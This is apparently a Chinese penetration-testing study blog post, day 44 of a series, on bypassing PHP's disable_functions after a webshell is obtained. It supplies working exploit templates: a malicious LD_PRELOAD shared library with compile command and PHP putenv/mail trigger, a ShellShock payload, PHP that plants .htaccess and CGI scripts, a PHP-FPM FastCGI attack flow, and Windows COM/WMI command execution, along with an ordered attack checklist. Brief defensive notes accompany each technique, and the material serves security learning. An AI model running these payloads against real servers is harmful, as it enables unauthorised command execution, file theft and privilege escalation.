当前位置:首页>php>Day44:突破PHP安全枷锁——Bypass disable_functions 实战

Day44:突破PHP安全枷锁——Bypass disable_functions 实战

  • 2026-10-11 06:08:59
Day44:突破PHP安全枷锁——Bypass disable_functions 实战
📌 这是「安全底稿」的第 44 篇记录
从零学渗透测试,每天一篇学习笔记。

今天的内容:

  • disable_functions 基础概念

  • LD_PRELOAD 劫持原理与实战

  • ShellShock 破壳漏洞利用

  • Apache Mod CGI 模式绕过

  • PHP-FPM 未授权访问利用

  • PHP 自身漏洞(GC/UAF)

  • Windows 环境绕过(COM/WMI)

  • 通用方法论与攻击顺序

一、基础概念

什么是 disable_functions?

PHP 配置文件(php.ini)中的一个安全指令,用于禁用危险的系统函数,防止攻击者通过 WebShell 执行系统命令。

配置示例:

ini

disable_functions=exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec

为什么要绕过它?

拿到 WebShell 后无法执行系统命令(如 cat /flag),绕过后方可读取敏感文件、提权、反弹 Shell。

被禁用的常见高危函数分类

分类函数名作用
系统命令执行exec, system, shell_exec, passthru直接执行 OS 命令
进程操作proc_open, popen, pcntl_exec创建子进程执行命令
环境变量操控putenv设置环境变量(LD_PRELOAD 关键)
网络连接fsockopen, curl_exec外连或攻击内网服务

二、LD_PRELOAD 劫持

前置知识:Linux 动态链接

Linux 程序运行时需要加载共享库(.so 文件)。环境变量 LD_PRELOAD 可以让程序优先加载用户指定的 .so 库。如果在自定义的 .so 中写了 system(),程序调用时就会执行命令。

PHP 中哪些函数会触发加载外部程序?

  • mail() → 调用 sendmail

  • mb_send_mail() → 同上

  • error_log($msg, 1, $email) → 第二个参数为 1 时也调用 sendmail

完整攻击链路

text

1. 编写 C 代码,在 __attribute__((constructor)) 中写恶意系统命令2. 编译为 .so 文件3. 通过 PHP 的 putenv 设置 LD_PRELOAD 指向该 .so4. 调用 mail() 等函数触发 sendmail5. sendmail 启动时加载恶意 .so → 执行命令6. 将结果写入可访问文件或直接反弹 Shell

实战代码模板(C 语言)

c

#include<stdlib.h>#include<unistd.h>#include<sys/types.h>__attribute__((constructor))voidpayload(){unsetenv("LD_PRELOAD");// 防止递归调用崩溃system("cat /flag > /tmp/flag.txt");}

编译命令

bash

gcc -shared-fPIC-o evil.so evil.c

PHP 触发代码

php

<?phpputenv("LD_PRELOAD=/tmp/evil.so");mail("test@localhost","test","test","");?>

防御方案(蓝队视角)

  • 禁用 putenv() → 最直接有效

  • 禁用 mail()、mb_send_mail()、error_log() 等邮件函数

  • 使用 disable_functions 禁用所有这些函数

三、ShellShock(破壳漏洞)

漏洞原理(CVE-2014-6271)

Bash 在处理环境变量时,会执行以 () 开头的变量值中的命令。攻击者可以通过 HTTP_USER_AGENT 等环境变量注入恶意 Bash 命令。

触发条件

  • 服务器 Bash 版本 < 4.3

  • PHP 中调用了 Bash(通过 mail()、popen()、shell_exec() 等)

攻击示例

bash

# 在终端测试是否存在漏洞envx='() { :;}; echo vulnerable'bash-c"echo test"# 如果输出 "vulnerable" 则存在漏洞

PHP 利用代码

php

<?phpputenv("HTTP_USER_AGENT=() { :; }; /bin/bash -c 'cat /flag > /tmp/flag.txt'");mail("admin@localhost","test","test","");?>

防御方案

  • 升级 Bash 到 4.3 或更高版本

  • 严格过滤输入的环境变量(如 HTTP_* 头)

四、Apache Mod CGI 模式绕过

核心思路

通过 .htaccess 文件创建 CGI 脚本执行规则,利用 PHP_VALUE 环境变量注入 auto_prepend_file,包含恶意代码。

.htaccess 攻击示例

apache

# .htaccess 文件内容RewriteEngine OnRewriteRule .* /cgi-bin/test.cgi [L]

CGI 脚本示例

bash

#!/bin/bashecho"Content-Type: text/plain"echocat /flag

通过 PHP 写入并执行

php

<?phpfile_put_contents('.htaccess',"RewriteEngine On\nRewriteRule .* /cgi-bin/test.cgi [L]");file_put_contents('test.cgi',"#!/bin/bash\necho \"Content-Type: text/plain\"\necho\ncat /flag");chmod('test.cgi',0755);?>

防御方案

  • 禁止网站目录上传 .htaccess(AllowOverride None)

  • 禁用 CGI 模块

  • 严格限制 open_basedir

五、PHP-FPM 未授权访问

什么是 PHP-FPM?

PHP FastCGI Process Manager,默认监听 127.0.0.1:9000 或 Unix Socket。

漏洞原理

如果 PHP-FPM 暴露在公网或本机可访问,攻击者可伪造 FastCGI 协议包,通过设置 auto_prepend_file 为 php://input,将 POST 请求体作为 PHP 代码执行。

关键 FastCGI 参数

参数作用
SCRIPT_FILENAME指定要执行的文件
PHP_VALUE动态设置 php.ini 配置
PHP_ADMIN_VALUE更高权限设置(可绕过 disable_functions)

攻击流程

text

1. 连接 PHP-FPM 的 9000 端口2. 构造 FastCGI 二进制请求包3. 设置 PHP_ADMIN_VALUE = auto_prepend_file = php://input4. 在请求体中写入 PHP 恶意代码5. 发送请求 → 代码被执行

防御方案

  • 务必监听 127.0.0.1,不要暴露到公网

  • 使用防火墙限制 9000 端口访问

  • Nginx 配置 fastcgi_pass 指定 Unix Socket 而非 TCP

六、Windows 环境下的绕过

COM 组件

如果 com.allow_dcom = true,可以创建 Wscript.Shell 对象。

php

<?php$wsh=newCOM('Wscript.Shell');$exec=$wsh->exec('cmd /c dir');$stdout=$exec->StdOut();echo$stdout->ReadAll();?>

WMI(Windows Management Instrumentation)

php

<?php$wmi=newCOM('winmgmts:{impersonationLevel=impersonate}!//.');$process=$wmi->Get('Win32_Process');$process->Create('cmd.exe /c whoami > C:\temp\out.txt',null,null,$pid);?>

防御方案

  • 禁用 com.allow_dcom = false

  • 禁用 COM 扩展

七、通用方法论与攻击顺序

信息收集检查表(拿到 WebShell 后立即执行)

  • 查看 phpinfo() 中的 disable_functions 列表

  • 查看 open_basedir 是否限制目录

  • 查看 PHP 版本(决定能否使用 GC/UAF)

  • 测试 putenv() 是否可用

  • 测试 mail() / mb_send_mail() 是否可用

  • 查看系统版本(决定能否用 ShellShock)

攻击尝试顺序(从易到难)

text

1. 检查 disable_functions 是否真有禁用2. 尝试 LD_PRELOAD(最通用,成功率最高)   └── 如果 putenv 被禁 → 换方案3. 尝试 ShellShock(如果 Bash 版本老)4. 尝试 Apache Mod CGI(如果支持 .htaccess)5. 尝试 PHP-FPM(如果 9000 端口可访问)6. 尝试 GC/UAF(如果 PHP 版本符合)7. 尝试 Windows COM/WMI(如果是 Win 服务器)

八、常见坑点与解决方案

问题解决方案
putenv() 被禁用改用 apache_setenv() 或换 CGI 模式
mail() 被禁用尝试 mb_send_mail() 或 error_log(..., 1, ...)
编译的 .so 无法加载检查系统架构:gcc -m64 或 -m32
没有写权限写到 /tmp 或 /dev/shm
无法上传文件使用 file_put_contents('path', base64_decode('...'))
命令执行无回显写入文件再读取,或反弹 Shell

九、速记口诀

拿到 Shell 先看禁,putenv 看看行不行
mail 触发 LD 劫,编译 so 写文件
如果 mail 也被禁,error_log 也能行
Bash 老版有破壳,环境变量注命令
Apache 跑 CGI,htaccess 传脚本
FPM 端口九千,伪造协议写代码
Windows 下用 COM,Wscript 来执行
版本越低漏洞多,升级 PHP 最稳妥

✅ 今日复盘

学到的核心概念:

  • LD_PRELOAD:通过 putenv + mail 触发恶意 .so

  • ShellShock:通过环境变量注入 Bash 命令

  • Apache CGI:通过 .htaccess 执行 CGI 脚本

  • PHP-FPM:伪造 FastCGI 协议执行代码

  • Windows COM:通过 Wscript.Shell 执行命令

📌 这是「安全底稿」的第 44 篇记录
一步一步,从零到一。


扫码关注 · 一起学渗透
每天一篇学习笔记,从入门到实战。

最新文章

随机文章